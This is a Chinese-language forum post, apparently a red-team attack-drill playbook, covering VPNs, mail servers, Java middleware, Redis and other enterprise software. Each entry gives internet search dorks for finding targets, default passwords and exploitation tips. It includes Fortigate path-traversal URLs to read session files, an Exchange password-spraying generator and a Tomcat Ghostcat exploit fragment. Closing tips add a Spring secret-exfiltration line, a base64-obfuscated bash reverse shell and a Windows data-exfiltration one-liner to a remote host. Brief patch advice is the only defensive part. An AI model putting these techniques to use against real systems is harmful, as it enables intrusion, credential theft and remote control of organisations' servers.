Fortigate SSL VPN 3. 漏洞指纹 Fortigate 4tinet2095866 4. Fofa Dork "Fortigate" && port=10443 5. 漏洞分析 6. 漏洞利用 密码读取 任意密码重置, 这肯定是个后门 7. 利用技巧 1.文件读取的路径构造 https://xxxxxx:10443/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession 如下padding可以构造出来任意文件读取, 可以读取其他文件, 注意这个系统好像没有/etc/passwd print("/../../../../"+(raw_input().rjust(35, '/'))) 2.寻找魔术数字 虽然当时橘子哥没有公开魔术数字, 但是当时随手分析了一下下面这个启动文件, 搜索一下magic就找到 4tinet2095866, https://xxxxxxxx:10443/remote/fgt_lang?lang=/../../../../////////////////////////bin/sslvpnd 后来发现这个字符串在js里面也有, 直接从前台分析也可以获得 https://xxxxx:10443/sslvpn/js/login.js?q=5f9a6877fd1f78da768239aae6e739c2 8. 防护方法 1.及时更新补丁 2.升级到最新版
Pulse Secure SSL VPN远程代码执行漏洞1. 漏洞简介 Pulse Secure SSL VPN 在全球用户量巨大, 去年橘子哥发现了很多漏洞 2. 影响组件 Pulse Secure SSL VPN 3. 漏洞指纹 Pulse Secure SSL VPN 4. Fofa Dork app="PulseSecure-SSL-VPN" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 8. 防护方法 1.及时更新补丁 2.升级到最新版
Palo Alto GlobalProtect VPN远程代码执行漏洞1. 漏洞简介 Palo Alto GlobalProtect 在全球用户量巨大, 去年橘子哥发现了很多漏洞 2. 影响组件
Palo Alto GlobalProtect 3. 漏洞指纹 GlobalProtect Portal 4. Fofa Dork app="PaloAlto-GlobalProtect" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这个扫描的话可以判断 /global-protect/portal/css/login.css
/images/logo_pan_158.gif Last-Modified 是否早于于2018年 curl -s -I https://sslvpn/global-protect/portal/css/login.css | grep Last-Modified Last-Modified: Sun, 10 Sep 2017 16:48:23 GMT 8. 防护方法 1.及时更新补丁 2.升级到最新版
Citrix Gateway/ADC 远程代码执行漏洞 (CVE-2019-19781)1. 漏洞简介 Citrix Gateway/ADC 在全球拥有很多的大客户. 这也是个很经典的灯下黑漏洞(后门) 2. 影响组件 Citrix Gateway/ADC 3. 漏洞指纹 Citrix Gateway/ADC 4. Fofa Dork app="Citrix-Netscaler" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.通过以下命令可以快速断定 curl https://host/vpn/../vpns/cfg/smb.conf --path-as-is --insecure 这里部分版本不需要进行../跳转也可以, 具体原因没有分析 8. 防护方法 1.及时更新补丁 2.升级到最新版 3.暂时屏蔽未授权用户对/vpns/路径的访问
齐治堡垒机相关漏洞1. 漏洞简介 齐治堡垒机是国内使用比较多的堡垒机产品, 后端使用PHP编写 2. 影响组件
齐治堡垒机 3. 漏洞指纹 shterm 4. Fofa Dork app="shterm-堡垒机" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.齐治堡垒机默认口令:shterm/shterm 2.普通用户获取堡垒机权限, 登录之后可尝试命令注入 如果有类似chrome的应用可以直接使用ctrl+o打开窗口, 然后新建bat, 起一个cmd或者其他的程序 8. 防护方法 1.及时更新补丁 2.升级到最新版 3.做好权限控制
Exchange 相关漏洞1. 漏洞简介 Exchange 是企业用量很大的邮件服务器, 包括一个登录后用户伪造(CVE-2018-8581, 利用难度高)和登录后反序列化漏洞(CVE-2020-0688, 利用难度低) 2. 影响组件
Exchange 3. 漏洞指纹 Exchange outlook 4. Fofa Dork app="Microsoft-Exchange" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.寻找企业的Exchange有个技巧 除了访问以下域名或者直接查找 DNS MX 记录 - mail.domain.com
- mail1.domain.com
- mail-hk.domain.com
- owa.domain.com
- exchange.domain.com
- email.domain.com
- outlook.domain.com
还有个很好用的域名, 这是outlook的自动发现域名 autodiscover.domain.com 2.爆破Exchange 这里两个漏洞都需要登录, 其实这个的弱口令不是很难找, 经常会成为企业的突破口 通常这里的密码能横穿内网, 比如 VPN, OA, SSO Exchange通常有以下几个接口 /owa 前台web登录, 一般可以爆破 /ews 这里是ews的接口, 可以进行401认证爆破, 只需要(域)账号和密码, 不需要知道域名前缀, 更方便爆破 /autodiscover/autodiscover.xml 自动发现接口, 同ews爆破 3.爆破工具可使用 owa用burp, ews用ruler, awvs(比较好用) 4.弱口令爆破技巧, 爆破Exchange相对比较好用, 直接生成企业特色弱口令 - import itertools
- prefix = ['baidu', 'Baidu']
- for x in [''.join(x) for x in list(itertools.product(prefix, ['@', ''], ['2019', '2020', '2018', '123', '1234', '123456'], ['!', '', '.']))] : print(x)
- baidu@2019!
- baidu@2019
- baidu@2019.
- baidu@2020!
- baidu@2020
- .........
- Baidu123456
- Baidu123456.
8. 防护方法 1.及时更新补丁 2.升级到最新版 3.做好权限控制
Coremail 相关漏洞1. 漏洞简介 Coremail 是国内使用量很大的邮件服务商, 包括网易邮箱的后端使用的也是coremail 2. 影响组件
Coremail 3. 漏洞指纹 Coremail 4. Fofa Dork app="Coremail" 6. 漏洞利用 7. 利用技巧 1.这个找不到源码, 没法分析 里面的密码也多半没啥用, 还不如邮件里搜索一下vpn/密码 2.这个东西有几率受到ImageMagick影响(此处存疑, 我只在dnslog见过, 没有实锤) 8. 防护方法 1.及时更新补丁 2.升级到最新版
Winmail 相关漏洞1. 漏洞简介 Winmail 是国内使用量较大的邮件服务商, 由于版本老旧, 有一些历史漏洞, 注入, 任意文件下载, 上传 2. 影响组件
Winmail 3. 漏洞指纹 Winmail 4. Fofa Dork app="Winmail-Server" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这个邮箱很多高校在用, 通过分析补丁, 一些老版本没升级的话还是有问题, 最新版是6.5 2.邮件系列老洞 8. 防护方法 1.及时更新补丁 2.升级到最新版
Zabbix 相关漏洞1. 漏洞简介 Zabbix 由于监控着内网众多主机, 所以也是内网关注的重点, 主要是注入/弱口令/命令执行 2. 影响组件 Zabbix 3. 漏洞指纹 Zabbix 4. Fofa Dork app="Zabbix" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这里如果 Zabbix 附近遇到 Grafana, 一般都是默认口令 admin/admin, 进后台查看数据源的位置, 如果有 Zabbix , 直接 f12 查看密码, 就可以登录 Zabbix 了 2.另外 Grafana 后台sql查询处可以执行任意 sql, 其他数据源也一样见机行事 8. 防护方法 1.设置强口令 2.尽量不要开放到公网 3.限制来源IP 4.升级到最新版
边界产品(防火墙, 网关, 路由器, VPN) 相关漏洞1. 漏洞简介 大型企业往往会配置一些边界设备来维护企业内外网通信, 这里也存在灯下黑的问题, 由于多数不开源, 漏洞主要以弱口令为主 2. 影响组件 防火墙, 网关, 路由器, VPN 3. 漏洞指纹 防火墙, 网关, 路由器, VPN 4. Fofa Dork
防火墙, 网关, 路由器, VPN 的名称 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这个东西好多人不改默认口令, 就算改很多也是企业特色弱口令 admin root 123456 永远的神 内网的安全平台就是个漏洞指南 8. 防护方法 1.设置强口令 2.限制来源IP
第三节本节主要是针对一些常见组件和中间件的相关漏洞(大部分是要结合环境利用), 这里肯定篇幅有限, 难免有所遗漏, 欢迎补充
Thinkphp 相关漏洞1. 漏洞简介 Thinkphp 是国内很常见的PHP框架, 存在 远程代码执行/sql注入/反序列化/日志文件泄露等问题 2. 影响组件
Thinkphp 3. 漏洞指纹 Thinkphp X-Powered-By: ThinkPHP 4. Fofa Dork app="ThinkPHP" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.遇到Thinkphp的站点看一下版本, 或者直接扫一下, 看看有没有rce, 或者日志文件泄露 2.自从我挖了thinphp的反序列化利用链以后, 这类型考题经常出没在ctf中 3.实战中也看到偶尔有可以利用的情况, 运气好可能有惊喜, 刚好有篇新出的文章中使用到了这个漏洞 8. 防护方法 1.及时更新补丁 2.升级到最新版Thinkphp 3.前置WAF进行防护
Spring 系列漏洞1. 漏洞简介 Spring 是java web里最最最最常见的组件了, 自然也是研究的热门, 好用的漏洞主要是Spring Boot Actuators 反序列化, 火起来之前用了一两年, 效果很棒 2. 影响组件
Spring xxx 3. 漏洞指纹 X-Application-Context: 4. Fofa Dork app="Spring-Framework" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.Spring Boot Actuators 相关漏洞超级好用 很多厂商一开始都不懂, 直接对外开放Spring Boot Actuators, 造成了有一段时间每个用了Spring Boot的厂商都出了问题 尤其是现在很多厂商使用微服务框架, 通过网关进行路由分发, 一些子目录通常对应一个Spring Boot启动的服务 /env 可以偷session, RCE /heapdump 可以直接dump jvm中的对象, 使用 jhat 可以读取里面的对象 可以遍历如下的endpoint, 1.x 2.x的目录不一样, 所以都覆盖了一下 - /trace
- /health
- /loggers
- /metrics
- /autoconfig
- /heapdump
- /threaddump
- /env
- /info
- /dump
- /configprops
- /mappings
- /auditevents
- /beans
- /jolokia
- /cloudfoundryapplication
- /hystrix.stream
- /actuator
- /actuator/auditevents
- /actuator/beans
- /actuator/health
- /actuator/conditions
- /actuator/configprops
- /actuator/env
- /actuator/info
- /actuator/loggers
- /actuator/heapdump
- /actuator/threaddump
- /actuator/metrics
- /actuator/scheduledtasks
- /actuator/httptrace
- /actuator/mappings
- /actuator/jolokia
- /actuator/hystrix.stream
- /monitor
- /monitor/auditevents
- /monitor/beans
- /monitor/health
- /monitor/conditions
- /monitor/configprops
- /monitor/env
- /monitor/info
- /monitor/loggers
- /monitor/heapdump
- /monitor/threaddump
- /monitor/metrics
- /monitor/scheduledtasks
- /monitor/httptrace
- /monitor/mappings
- /monitor/jolokia
- /monitor/hystrix.stream
这里通过 /env + /refresh 进行rce应该还有其他利用手法, 当spring boot reload的时候会进行一些默认操作 里面就有操作空间, 很像fastjson反序列化 2.就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok eureka.client.serviceUrl.defaultZone=http://${somedb.password}@127.0.0.1:5000 spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml 3.尤其是使用spring eureka做集群的时候, 通常拿到一台服务器, 就可以传递恶意注册到其他server, 从而感染整个微服务集群 eureka 通常是 server 也是 client, 无论对方请求什么都直接返回恶意序列化xml就可以了 8. 防护方法 1.及时更新补丁 2.开启Spring Boot Actuators权限校验 3.前置WAF进行防护
Phpstudy 后门远程代码执行1. 漏洞简介 Phpstudy 是一个国产的php快速集成环境, 主要用于学习测试, 但是也有很多人直接拿来部署服务器 2. 影响组件 Phpstudy 3. 漏洞指纹 phpStudy 探针 4. Fofa Dork app="phpStudy 探针" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.phpstudy 根目录下面有个l.php , 里面有探针, 可以作为判断条件 2.还有个/phpmyadmin目录, 一般密码都是root/root 后台mysql outfile 写 shell 就ok了 8. 防护方法 1.及时删除phpstudy 2.升级到最新版 3.不要用phpstduy搭建生产环境
Struts 系列漏洞1. 漏洞简介 Struts 真的是Java漏洞史上浓墨重彩的一笔, 堪称那些年的漏洞之王, 一直到现在还没有消失, 企业内网还是有不少存在 2. 影响组件
Struts 3. 漏洞指纹 Struts .action .do .action!xxxx 4. Fofa Dork app="Struts2" (这个不太准) 5. 漏洞分析 6. 漏洞利用 struts-scan/struts-scan.py at master · Lucifer1993/struts-scan 7. 利用技巧 1.Struts 的漏洞(比如016, 032)经常可以用于ssrf打内网, 说不好就有惊喜 8. 防护方法 1.升级到最新版 2.不建议使用Struts
Solr 系列漏洞1. 漏洞简介 Solr 是企业常见的全文搜索服务, 这两年也爆出很多安全漏洞, 2. 影响组件 Solr 3. 漏洞指纹 Solr 4. Fofa Dork app="Solr" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.看到锤就完事了, 漏洞太多了, 一片一片的 2.遇到mjet连接超时, 这是目标服务起返回了错误的stub(内网地址, 常见于docker), 可以使用socat进行流量转发, 后记里面有具体操作 8. 防护方法 1.升级到最新版 2.不要对外开放敏感端口
Tomcat 本地文件包含漏洞 (CVE-2020-1938)1. 漏洞简介 Tomcat 是常见的Web 容器, 用户量非常巨大, Tomcat 8009 ajp端口一直是默认开放的, 这个漏洞存在很多年了, 这次应该有奇效 2. 影响组件 Apache Tomcat 6 Apache Tomcat 7 < 7.0.100 Apache Tomcat 8 < 8.5.51 Apache Tomcat 9 < 9.0.31 3. 漏洞指纹 tomcat 8009 ajp \x04\x01\xf4\x00\x15 4. Fofa Dork protocol="ajp" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.当时还没公开poc的时候就分析出来exp挺有意思的, 效果确实还可以, 当天fofa都被累挂了 主要代码也就这 - t = Tomcat("127.0.0.1", 8009)
- _, data = t.perform_request('/', attributes=[
- {'name': 'req_attribute', 'value': ['javax.servlet.include.request_uri', '/']},
- {'name': 'req_attribute', 'value': ['javax.servlet.include.path_info', "/WEB-INF/web.xml"]},
- {'name': 'req_attribute', 'value': ['javax.servlet.include.servlet_path', '/']},
- ])
- print('----------------------------')
- print("".join([bytes.decode(d.data) for d in data]))
2.通过修改这里的路径可以进行Webapp切换, 默认是ROOT/, 需要切换应用就改成 /admin/ 之类的 3.通常检测的时候, 尽量保持t.perform_request('/' , 有的poc喜欢用 /addsd 这种的不存在的路径, 有些情况会读不到文件 8. 防护方法 1.升级到最新版 2.屏蔽8009端口对外开放
PHP-FPM 远程代码执行漏洞1. 漏洞简介 国外安全研究员 Andrew Danau在解决一道 CTF 题目时发现, 向目标服务器 URL 发送 %0a 符号时, 服务返回异常, 疑似存在漏洞 2019年10月23日, github公开漏洞相关的详情以及exp.当nginx配置不当时, 会导致php-fpm远程任意代码执行 2. 影响组件 Nginx + FPM + PHP7 3. 漏洞指纹 Nginx PHP nextcloud 4. Fofa Dork 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.这个漏洞检测没有特别稳定的方案, 目前可以参考k8的检测方案, 通过递增发送payload检测服务器502 2.Nextcloud 这个应用的默认配置就存在漏洞 8. 防护方法 1.升级到最新版php 2.修改nginx配置
CVE-2019-3396 Confluence Wiki 远程代码执行1. 漏洞简介 Confluence Wiki 是企业常用的 Wiki 平台, 其媒体插件存在一处远程代码执行 2. 影响组件 Confluence 3. 漏洞指纹 Confluence 4. Fofa Dork app="Confluence" 5. 漏洞分析 Atlassian Confluence 远程代码执行漏洞分析 – 斗象能力中心 Atlassian Confluence 远程代码执行漏洞分析
6. 漏洞利用 7. 利用技巧 1.本地写日志的方式getshell 这个漏洞挺有意思的, 在国内没公开的时候, 我们就监测到了, 然后也写出了exp, 奈何没几天就曝光了 这里的远程模板加载不支持http协议, 主要是classloader的问题, 不然应该更早挖出来, 这里还有一种本地写日志的方式getshell 这是一个从来没有人关注的默认开放的8091端口, 部分低版本支持file协议可以getshell, 适用于不出网的情况, 这个poc不是特别稳定, 因为日志中有不可控的字符 velocity比php语法要相对严格一点, 可能会报错, 而且velocity渲染的时候, 目标文件不能太大, 但是极端情况可以试一下 POC写入日志,分析一下挺简单的 - GET /synchrony/heartbeat HTTP/1.1
- Host: localhost:8091
这里就使用file协议包含log文件就ok - POST /rest/tinymce/1/macro/preview HTTP/1.1
- Host: localhost:8090
8. 防护方法 1.升级到最新版 2.尽量不要开放到公网 3.限制来源IP
Ghostscript 上传图片代码执行1. 漏洞简介 Ghostscript 是图像处理中十分常用的库, 集成在imagemagick等多个开源组件中, 其 .ps文件存在沙箱绕过导致代码执行的问题影响广泛, 由于上传图片就有可能代码执行, 很多大厂中招 2. 影响组件 imagemagick, libmagick, graphicsmagick, gimp, python-matplotlib, texlive-core, texmacs, latex2html, latex2rtf 等图像处理应用 3. 漏洞指纹 .ps/.jpg/.png 4. Fofa Dork 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.如果发现网站可以上传图片, 且图片没有经过裁剪, 最后返回缩略图, 这里就可能存在Ghostscript 上传图片代码执行 dnslog 可以用 ping `uname`.admin.ceye.io 或 ping `whoami`.admin.ceye.io 保存成图片, 以后用起来方便, 有个版本的 centos 和 ubuntu poc还不一样, 可以这样构造 ping `whoami`.centos.admin.ceye.io / ping `whoami`.ubuntu.admin.ceye.io 分别命名为 centos_ps.jpg/ubuntu_ps.jpg, 这样测试的时候直接传2个文件, 通过DNSLOG可以区分是哪个poc执行的 8. 防护方法 1.升级到最新版
Jboss 相关漏洞1. 漏洞简介 JBoss是一个基于J2EE的开放源代码应用服务器, 用户数量较大, 一些版本受到反序列化等漏洞影响 2. 影响组件 Jboss 3. 漏洞指纹 Jboss 4. Fofa Dork app="JBoss" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.Jboss的漏洞在内网还是相对比较常见的, 试过几次jexboss, 效果还ok 8. 防护方法 1.设置强口令 2.尽量不要开放到公网 3.限制来源IP 4.升级到最新版
Websphere 反序列化远程代码执行1. 漏洞简介 Websphere 也是常见的java服务器, CVE-2015-7450(由于Comments Collections反序列化引起的, 应该是反序列化第一次被公众关注), 去年暴露了一个CVE-2019-4279(), 近期暴露了一个新的远程代码执行(CVE-2020-4276, CVE-2020-4362) 2. 影响组件 WebSphere 3. 漏洞指纹 WebSphere 8880 4. Fofa Dork app="IBM-WebSphere" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.Java 类的 web 容器 getshell 方法都差不多, 弱口令进后台部署 war, 或者反序列化, 文件上传之类的 8. 防护方法 1.设置强口令 2.尽量不要开放到公网 3.限制来源IP 4.升级到最新版
Jenkins 系列漏洞1. 漏洞简介 Jenkins 是常见的CI/CD服务器, 最常见的就是爆破弱口令然后使用groovy执行命令 2. 影响组件 Jenkins 3. 漏洞指纹 Jenkins 4. Fofa Dork app="Jenkins" 5. 漏洞分析 6. 漏洞利用 gquere/pwn_jenkins: Notes about attacking Jenkins servers 7. 利用技巧 1.Jenkins 也是收集内网信息的好地方, 获取的账号通常也是开发/运维级别的, 权限相对较大 8. 防护方法 1.设置强口令 2.尽量不要开放到公网 3.限制来源IP 4.升级到最新版
RMI 对外开放1. 漏洞简介 Java RMI, 即 远程方法调用(Remote Method Invocation), 一种用于实现远程过程调用(RPC)(Remote procedure call)的Java API, 能直接传输序列化后的Java对象和分布式垃圾收集 通常开放在1090 1099等端口, 由于直接传输java对象, 随意存在远程代码执行. 2. 影响组件 java* 3. 漏洞指纹 1098, 1099, 1090, 8901, 8902, 8903 N\x00 rmiregistry 4. Fofa Dork protocol=="java-rmi" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.rmi一般在内网开放的比较多, nmap 扫描如下 nmap -v 8.8.8.8 -p1099 -sV --script=rmi* 8. 防护方法 1.设置强口令 2.尽量不要开放到公网 3.限制来源IP
Weblogic T3 协议漏洞1. 漏洞简介 Weblogic Server中的RMI 通信使用T3协议在Weblogic Server和其它Java程序（客户端或者其它Weblogic Server实例）之间传输数据, 服务器实例会跟踪连接到应用程序的每个Java虚拟机（JVM）中, 并创建T3协议通信连接, 将流量传输到Java虚拟机. T3协议在开放WebLogic控制台端口的应用上默认开启. 攻击者可以通过T3协议发送恶意的的反序列化数据, 进行反序列化, 实现对存在漏洞的weblogic组件的远程代码执行攻击. 2. 影响组件 Weblogic 3. 漏洞指纹 Lcom.tangosol.util.extractor.ReflectionExtractor … 4. Fofa Dork protocol=="weblogic" 5. 漏洞分析 相关漏洞有: 6. 漏洞利用 7. 利用技巧 1.T3 协议通常开放在内网, 外网基本绝迹, 快速检测可以使用nmap nmap -sV --script=weblogic-t3-info.nse -p 7001 2.内网使用最新的利用链即可, weblogic也支持TLS加密的t3s, 可以使用 8. 防护方法 1.及时更新补丁
2.禁用T3协议
3.禁止T3端口对外开放, 或者限制可访问T3端口的IP来源
Weblogic XMLDecoder反序列化1. 漏洞简介 2017年4月Oacle官方安全通告, 包含了对与CVE编号CVE-2017-3506的修复补丁, wls-wsat这个提供的web service服务中, 处理xml数据的的时候, XMLDecoder的反序列化漏洞风险, 同年10月份的补丁中的则是对其绕过的修复, CVE编号为CVE-2017-10271. 2019年4月17日, CNVD 发布《关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告》, 部分版本WebLogic中默认包含的wls9_async_response包, 为WebLogic Server提供异步通讯服务.由于该WAR包在反序列化处理输入信息时存在缺陷, 攻击者可以发送精心构造的恶意 HTTP 请求, 获得目标服务器的权限, 在未授权的情况下远程执行命令. 2. 影响组件 WebLogic 10.X WebLogic 12.1.3 3. 漏洞指纹 /wls-wsat/CoordinatorPortType
/_async/AsyncResponseService
/_async/AsyncResponseServiceSoap12 4. Fofa Dork app="WebLogic-Server" 5. 漏洞分析 7. 利用技巧 1.由于nginx转发问题, 尝试这种路径, 可能有惊喜 /../wls-wsat/CoordinatorPortType11
/../_async/AsyncResponseService 2.Weblogic 写shell有个技巧 可以通过find/grep命令查找静态文件的路径, 然后将命令结果输出到静态文件夹中, 比如查找前台的logo.png / /static/css/main.css 8. 防护方法 1.通过访问策略控制禁止外部/_async/* 及 /wls-wsat/*路径的URL访问； 2.删除对应war包并重启 webLogic； 3.限制源IP对应 weblogic 7001端口的访问.
Weblogic IIOP1. 漏洞简介 2017年4月Oacle官方安全通告中, 包含了对与CVE编号CVE-2020-2551的补丁, 未经身份验证的攻击者可以通过IIOP对Oracle WebLogic Server进行攻击, 造成远程代码执行. 2. 影响组件 Oracle WebLogic Server version: 10.3.6.0.0 12.1.3.0.0 12.2.1.3.0 and 12.2.1.4.0 3. 漏洞指纹 GIOP && com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager 4. Fofa Dork app="WebLogic-Server" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 8. 防护方法 1.及时更新补丁 2.通过 Weblogic 控制台进行关闭 IIOP 协议
Redis 相关漏洞1. 漏洞简介 Redis 在近几年也是攻击的重点, 早期Redis默认没有密码, 且经常开放到公网, Redis可以进行文件写入, 以及后面的主从复制远程代码执行漏洞, 或者配合缓存序列化数据进行操作 2. 影响组件 Redis 3. 漏洞指纹 6379 4. Fofa Dork app="Redis" && "redis_version" 5. 漏洞分析 6. 漏洞利用 7. 利用技巧 1.当Redis 权限满足写文件时 linux 写计划任务, windows写启动目录, 如果可以都写web目录的webshell 2.当Redis 权限不满足写文件时 发现Redis记录中存在JSON串的时候, 可以尝试写入Fastjson或Jackson的反序列化漏洞 发现Redis记录中存在AC ED这种反序列化特征的时候, 可以尝试写入ysoserial产生的序列化数据 8. 防护方法 1.Redis 设置强口令 2.Redis 尽量不要开放到公网 3.限制来源IP
后记1.记得躲避蜜罐, 现在身份识别蜜罐基本都是使用jsonp进行互联网身份识别, 随便抽一个蜜罐, 公网大概一百多台 2.反弹shell 可以使用openssl反弹443端口, 现在厂商一般都有流量监控设备, 直接明文传输会被审查到 3.很多时候执行命令不能有特殊符号, 比如尖角号之类的, 可以使用 base64进行传参 bash -i >& /dev/tcp/127.0.0.1/1337 0>&1 base64 可以转换成 YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTMzNyAwPiYx 最终可以变成 bash -c "{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMTMzNyAwPiYx}|{base64, -d}|{bash, -i}" 4.windows机器可以使用ie浏览器带数据出来, 很多杀软不会拦截ie浏览器, unc 传输文件也可以 for /f %s in ('dir c:\ /b') do explorer http://vps:8000/?%s \\vps\share\shell.bat 5.针对很多时候java类漏洞, 比如反序列化, rmi, jmx, iiop等情况, 时常会遇到timeout的情况 这里主要是没有指定hostname, 这里可以使用socat进行流量转发, 无需修改POC, 以CVE-2019-12409为例 这里针对 ENABLE_REMOTE_JMX_OPTS 远程代码执行(CVE-2019-12409) 多说一点, 因为这个问题在所有的jmx连接中都有可能出现
这里存在一个问题, JMX Server如果在启动时没有指明hostname, 那么在客户端与服务器交互过程中, 有一步返回 stub rmiserver的过程, 其中地址可能为内网地址
通过查看报错, 可以得知内网地址, 例如 172.18.0.2
使用如下两条命令即可执行, 替换 [报错中的ip], [远程目标的ip] - ip addr add [报错中的ip]/24 dev lo
- socat tcp4-listen:18983, bind=[报错中的ip], reuseaddr, fork tcp4-connect:[远程目标的ip]:18983
6.Java 反序列化是这两年的重中之重, 如果有shell出不来可以参考以下链接 7.永远相信弱口令的力量, 文中没有提到的 mysql, mssql, rdp, ssh, docker-api, 大数据平台相关组件或者更多常见不常见服务, 很多都是弱口令/未授权一把梭的问题
最后祝大家 开局有0day, 处处弱口令
ps：附上全文pdf版，有需要保存的可自行下载~（因单个文件太大无法上传故拆分成上下两个） 最新 2020攻防演练弹药库（上）： 最新 2020攻防演练弹药库（下）： |
发表于 2020-5-1 23:36:29